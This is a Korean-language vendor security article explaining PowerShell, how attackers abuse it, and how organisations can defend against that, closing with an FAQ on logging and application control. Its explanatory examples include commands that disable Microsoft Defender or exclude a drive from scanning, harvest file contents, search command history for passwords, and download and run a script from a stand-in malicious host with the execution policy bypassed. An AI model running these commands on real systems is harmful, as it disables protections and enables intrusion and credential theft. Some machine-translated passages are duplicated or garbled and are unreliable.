Windows PowerShell은 작업을 자동화하고 구성을 관리하기 위한 강력한 스크립팅 언어이자 명령줄 셸입니다. 이 가이드는 시스템 관리 및 보안에서의 역할을 포함하여 PowerShell의 기능과 역량을 살펴봅니다.
일반적인 PowerShell 명령어, 스크립팅 모범 사례, 그리고 사이버 보안 목적으로 PowerShell을 활용하는 방법에 대해 알아보세요. PowerShell을 이해하는 것은 IT 전문가와 보안 실무자에게 필수적입니다.
 PowerShell이 귀사의 소중한 자산에 어떤 영향을 미칠 수 있을까요? PowerShell의 기본 개념, 해커에게 매력적인 이유, 그리고 기업을 보호하는 방법을 알아보세요.
Microsoft PowerShell은 작업을 자동화하고 Windows 기반 시스템을 관리하는 데 사용되는 명령줄 셸 및 스크립팅 언어입니다. 관리자와 보안 전문가들이 일상적인 작업을 자동화하고, 시스템을 관리 및 모니터링하며, 보안 사고에 대한 대응을 자동화하는 데 흔히 사용됩니다. 공격자들은 종종 PowerShell을 사용하여 시스템에 무단 접근하고 악성 코드를 실행합니다.
마이크로소프트 파워셸은 2006년부터 윈도우에서 사용 가능했으나, 현재는 윈도우 10 파일 탐색기의 명령 셸로 자리잡아 기존의 cmd.exe 도구를 대체했습니다. 일반 사용자에게는 종종 난해하게 여겨지지만, 파워셸는 유연성과 강력한 성능 덕분에 IT 팀과 네트워크 관리자에게 필수적인 도구가 되었습니다. 이 입문 가이드에서는 PowerShell의 기본 사항과 해커 및 악성코드 제작자에게 매력적인 이유, 그리고 조직을 보호하기 위해 취할 수 있는 조치를 설명합니다. 및 악성코드 제작자들에게 매력적인지, 그리고 조직을 보호하기 위해 무엇을 할 수 있는지 설명합니다.
사용 환경 선택하기
‘PowerShell’를 입력하면 PowerShell ISE와 PowerShell 데스크톱 앱이라는 두 가지 옵션이 표시됩니다. 또한 시작 메뉴나 PowerShell 아이콘 중 하나를 마우스 오른쪽 버튼으로 클릭하면 작업 표시줄 아이콘 중 하나를 마우스 오른쪽 버튼으로 클릭하면 두 가지 다른 방법으로 PowerShell 버전을 실행할 수 있습니다: 현재 사용자 권한으로 또는 관리자 권한으로.
 일반적인 작업을 자동화하려는 관리자는 ISE 인터페이스를 사용하여 PowerShell 모듈과 스크립트를 개발할 가능성이 높지만, 대화형 사용을 위해서는 대부분 PowerShell 데스크톱 앱을 선택하고 작업에 따라 관리자 또는 현재 사용자로 실행할 것입니다.
또한 PowerShell Core에 대한 이야기도 들을 수 있습니다. 이는 Windows뿐만 아니라 Linux 및 macOS에서도 실행되는 크로스 플랫폼 오픈 소스 에디션입니다:
 하지만 이 점에 주의하세요. 서명되지 않은 바이너리로 설치되므로 악성 위조본으로 쉽게 대체될 수 있습니다. PowerShell Core를 사용하는 엔드포인트가 있다면, 조직에서 적절한 인증서로 서명하거나 정기적인 shasum 검사를 실행하여 변조되지 않았는지 확인하세요.&
다양한 버전의 PowerShell 간 기능 차이는 존재하지만, 모두 SSH를 통한 원격 세션 실행 및 다양한 프로세스·서비스와의 상호작용이 가능합니다. PowerShell은 Windows 레지스트리와 이벤트 로그와의 상호작용도 수행할 수 있습니다. 이는 PowerShell 접근 권한을 가진 공격자가 동일한 접근 권한과 이점을 누릴 수 있음을 의미합니다.
파워풀한 기능 활용하기
다음 두 가지 간단한 명령어로 PowerShell의 기능을 가늠해 볼 수 있습니다:&
Get-Module -ListAvailable
사용 가능한 모듈 목록을 표시하고, &
Get-Command
사용 가능한 명령을 나열하려면:
 몇 가지 예시를 간단히 살펴보겠습니다. 여러분(또는 공격자)이 문서 디렉토리 내에서 이동하며 해당 디렉토리에 흥미로운 내용이 있는지 빠르게 확인하고 싶다고 가정해 보세요.다음과 같은 명령어는 디렉토리 내 모든 텍스트 파일의 첫 두 줄과 마지막 두 줄을 출력합니다. 하위 디렉토리를 재귀적으로 탐색하며 숨김 파일도 포함하고, 출력을 다른 텍스트 파일로 파이프하여 나중에 검토하거나 검색할 수 있도록 합니다:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
누군가 "기밀"로 시작하거나 "최고재무책임자"처럼 작성자의 직책으로 끝나는 문서를 찾고 있다면, 이는 관심 항목을 열거하는 "빠르고 대충"한 방법이 될 수 있습니다.
침입 흔적을 지우기 위해 항목을 삭제하는 것은 단순히
Remove-Item <path>
PowerShell은 또한 사용자가 운영 체제를 흥미롭고, 안타깝게도 위험한 방식으로 조작할 수 있습니다. 악성코드 제작자가 사전 설치된 Microsoft Defender AV 엔진을 우회하려면 적절한 권한으로 PowerShell 명령을 실행하여 이를 비활성화하거나:
Set-MpPreference -DisableRealTimeMonitoring $true
또는 좀 더 은밀하게 드라이브나 경로를 검색 경로에서 제외할 수 있습니다:
Add-MpPreference -ExclusionPath "c:"
PowerShell은 또한 공격자가 네트워크 드라이브 열거나 이벤트 로그 호출과 같은 작업을 쉽게 수행할 수 있게 합니다. 이는 각각 Get-PSDrive 및 Get-EventLog를 통해 악용 가능한 정보를 찾는 유용한 방법입니다.
 명령줄에서 대화식으로 입력된 명령어와 해당 명령어에 전달된 모든 인수를 포함한 명령어 기록을 읽을 수 있는 기능은 사용자와 악의적인 행위자 모두에게 유용한 도구입니다. 이 명령이 출력하는 경로에 기록이 저장됩니다:
 (Get-PSReadLineOption).HistorySavePath
그리고 우리는 cat와 Select-String cmdlet(또는 그 별칭 sls)를 사용하여 명령어 내에서 관심 항목(예: 비밀번호!)을 효과적으로 "grep"하거나 검색할 수 있습니다:
 스크립트 및 익스플로잇 키트
그러나 명령줄에서 PowerShell을 사용하는 것은 악의적인 행위자들에게 가장 유리한 기회가 아닙니다. 더 위험한 것은 PowerShell이 스크립트를 메모리 내에서(일명 "fileless" 악성코드 공격)과 디스크에서 모두 실행할 수 있는 능력입니다. 두 경우 모두 호스트에서 직접 또는 원격으로 실행될 수 있습니다.
유닉스 셸의 eval 명령어와 마찬가지로, PowerShell은 Invoke-Expression(및 별칭 iex)을 제공하여 메모리 내에서 악성 스크립트를 다운로드하고 실행할 수 있게 합니다. 제한된 실행 정책을 우회하기 위해 Bypass를 추가할 수 있습니다:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
당연히, PowerShell의 잠재력을 최대한 활용하는 전체적인 악용 프레임워크가 등장하는 데 오래 걸리지 않았습니다.
이 중 가장 대표적인 것은 PowerSploit로, 피해자의 시스템을 조작하고 제어하는 데 활용할 수 있는 PowerShell 스크립트 모음입니다.
 PowerShell Empire PowerSploit 및 여러 다른 프로젝트의 작업을 기반으로 구축되어 네트워크 탐지를 회피하고 키로거를 실행하며 Mimikatz와 같은 다른 모듈을 실행할 수 있는 포스트 익스플로잇 도구를 만듭니다.
 PowerShell 공격의 부상
다른 종류의 Windows 파일, .exe, .bat, .wsf 및 .LNK는 최근 몇 년간 PowerShell 기반 악성 코드가 증가하는 이유 중 하나입니다. 추정 에 따르면 PowerShell 악용이 악성코드 사건의 거의 40%를 차지한다고 주장하며, 공격자들이 랜섬웨어부터 인증 정보 탈취 및 뱅킹 트로이 목마로 이어집니다. PowerShell은 또한 클릭 사기, 비밀번호 스니핑 및 데이터 유출에도 연루된 바 있습니다.
DNSMessenger는 Word 문서 매크로를 통해 확산되는 것으로 확인된 악성코드입니다. 이 악성코드는 VBA 소스 코드를 교묘하게 활용하여 인코딩된 PowerShell 명령을 전달함으로써 지속성을 확보하고, 페이로드를 전달하며, C&C 서버와 통신합니다.
놀랍게도 일부 PowerShell 공격은 내장된 PowerShell.exe조차 필요로 하지 않습니다. PowerShdll InsecurePowerShell 같은 도구는 PowerShell 바이너리의 기반이 되는 System.Management.Automation.dll을 활용하여 스크립트를 직접 실행할 수 있습니다. 간단히 말해, PowerShell 실행 파일은 동적 링크 라이브러리에 있는 실제 코드의 호스트 또는 래퍼에 불과합니다. 공격자는 이를 악용하여 사실상 모든 프로세스가 PowerShell 스크립트와 명령을 실행하도록 할 수 있습니다.
파워셸의 다른 창의적인 활용법으로는 PNG 파일의 픽셀에 파워셸 스크립트를 삽입하고, Invoke-PSImage를 사용하여 실행하거나, PS2EXE.
PowerShell 관리
이 모든 내용에서 알 수 있듯이 PowerShell.exe를 단순히 차단하는 것은 무의미한 조치일 뿐만 아니라, PowerShell이 제공하는 기능에 의존해 온 시스템 관리자들에게 큰 부담이 될 것입니다.PowerShell과 그 기반이 되는 DLL들은 Windows 운영 체제의 핵심 구성 요소이며, PowerShell Core의 등장으로 그 영향력은 크로스 플랫폼
PowerShell의 이중적 특성을 다루는 효과적인 기업용 솔루션은 SentinelOne과 같이 엔드포인트에서 실행되는 프로세스의 행동을 관찰하는 방식입니다. 이는 악성 코드 공격이 어떻게 구현되든 유사하게 작동하기 때문에 효과적입니다. SentinelOne 에이전트는 악성 활동과 정상 활동을 구분하기 위해 에이전트 상의 모든 활동을 모니터링합니다. 에이전트가 이미 사용자, 프로세스, 명령줄 인수, 레지스트리, 디스크 상의 파일, 외부 통신 등 전체 컨텍스트를 보유하고 있으므로, 출처와 관계없이 악성 활동을 완화할 수 있습니다.
이 글이 마음에 드셨나요? LinkedIn, Twitter, YouTube 또는 Facebook에서 저희가 게시하는 콘텐츠를 확인하세요.
Windows 보안에 대해 자세히 알아보기
- Hancitor 뱅킹 트로이 목마가 돌아왔다 | 악성 Word 첨부 파일 사용
 - SentinelOne, 파워셸 크립토웜의 새로운 변종 탐지 및 차단
 - 새로운 Windows 10 파일 유형이 악성 애플리케이션 실행에 악용될 수 있음
 
Windows PowerShell FAQ
Windows PowerShell은 .NET Framework를 기반으로 구축된 Microsoft 명령줄 셸 및 스크립팅 언어입니다. cmdlet(동사-명사 형식의 간단한 명령어)를 사용하여 파일 시스템, 레지스트리 및 서비스 관리와 같은 작업을 자동화할 수 있습니다.
PowerShell은 일반 텍스트 대신 개체를 처리하고 반환하므로, 구조화된 데이터를 한 cmdlet에서 다음 cmdlet으로 파이프할 수 있습니다. 또한 원격 처리, 모듈 및 시스템 관리를 위한 콘솔 내 도움말을 지원합니다.
기존 CMD와 달리 PowerShell은 동사-명사 형식의 cmdlet을 사용하며 텍스트 스트림 대신 .NET 객체로 작업합니다. 즉, 텍스트를 파싱하지 않고도 파이프라인을 통해 명령을 연결할 수 있습니다. PowerShell 스크립트는 .NET API를 직접 호출할 수 있으며, 풍부한 오류 처리 기능을 제공하고 모듈을 지원합니다.
기존 셸은 일반 텍스트와 기본 배치 스크립트만 처리하는 반면, PowerShell은 자동화 및 구성을 위한 완전한 스크립팅 환경을 제공합니다.
PowerShell의 심층적인 시스템 통합 및 강력한 스크립팅 기능은 관리자와 공격자 모두에게 선호되는 도구로 만듭니다. 위협 행위자들은 탐지를 회피하기 위해 메모리에서 스크립트를 실행하는 파일리스 기법을 사용합니다.
PowerShell은 디스크에 접근하지 않고도 방어 체계를 무력화하거나, 악성 코드를 다운로드하거나, 자격 증명을 탈취할 수 있습니다. Windows에서 PowerShell이 보편적으로 사용된다는 점은 방어 측이 PowerShell 활동을 고위험으로 간주하고 악용 여부를 면밀히 모니터링해야 함을 의미합니다.
Cisco 연구에 따르면, PowerShell은 엔드포인트에서 발생한 중대한 보안 위협의 3분의 1 이상에 관여했습니다. Carbon Black은 사건의 38%에서 PowerShell 악용이 발생했다고 보고했으며, 이는 주로 측면 이동이나 자격 증명 도용과 같은 공격 후 활동에서 나타났습니다.
일반적인 사용 빈도는 낮지만, 확인된 악성 활동 중 약 14건 중 1건에서 PowerShell이 발견됩니다.
모든 PowerShell 로깅을 활성화하세요: 모듈 로깅, 스크립트 블록 로깅, 트랜스크립션. 로그 크기를 최소 150MB로 설정하고
Microsoft-Windows-PowerShell/Operational 및 PowerShellCore/Operational 이벤트를 수집하세요. 로그를 SIEM 또는 XDR에 전송하십시오. 신뢰할 수 없는 부모로부터의 스크립트를 차단하고 실행 정책을 서명된 스크립트로만 제한하십시오. 추가 세부 정보를 위해 보호된 이벤트 로깅을 켜십시오.
JEA(Just Enough Administration)를 사용하여 승인된 cmdlet에 대한 사용자 전용 액세스를 제한하세요. 제한된 언어 모드를 적용하여 COM, WMI 및 복잡한 표현식을 비활성화하세요. WDAC(Windows 배포 제어)와 같은 애플리케이션 제어 정책을 배포하여 서명된 스크립트를 화이트리스트에 추가하십시오.
PowerShell을 v5.1 이상으로 업데이트하십시오. 모든 스크립트 호출이 기록되도록 로깅 설정을 정기적으로 검토하고 조정하십시오.
PowerShell을 완전히 차단하면 시스템 관리 및 원격 관리 기능이 중단될 수 있습니다. Microsoft는 PowerShell을 완전히 제거하는 것을 권장하지 않습니다. 대신, 승인된 관리자에게만 실행 권한을 부여하고, 애플리케이션 제어를 적용하며, Office 앱과 같은 신뢰할 수 없는 부모 프로세스 아래에서 PowerShell이 생성되는 것을 제한하십시오.
이러한 제어는 로깅 및 모니터링과 결합하여 합법적인 작업을 방해하지 않으면서 대부분의 악의적인 사용을 차단합니다.
PowerShell을 통해 방어자는 사고 대응을 자동화하고, 포렌식 데이터를 신속하게 수집하며, 위협을 추적할 수 있습니다. 레지스트리 아티팩트, 프로세스 목록, 네트워크 연결을 단 몇 분 만에 수집하는 스크립트를 작성할 수 있습니다. 또한 많은 포스트 익스플로잇 도구(Empire, Cobalt Strike)가 내부적으로 PowerShell을 사용하기 때문에 PowerShell을 배우면 공격자의 기법을 이해하는 데도 도움이 됩니다.
PowerShell 스크립트는 실시간 메모리, 레지스트리 실행 키, 이벤트 로그, 네트워크 데이터를 수집하여 초기 분류에 활용할 수 있습니다. DFIR-Script와 같은 커뮤니티 도구는 엔드포인트 전반에 걸쳐 증거 수집을 자동화합니다. 헌터들은 PowerShell을 사용하여 Windows 이벤트 ID 4104를 쿼리하여 악성 스크립트 블록을 찾고, 출력을 파싱하며, 결과를 SOAR 플레이북에 공급합니다. 이로 인해 PowerShell은 탐지, 격리 및 수정 워크플로의 핵심 부분이 됩니다.

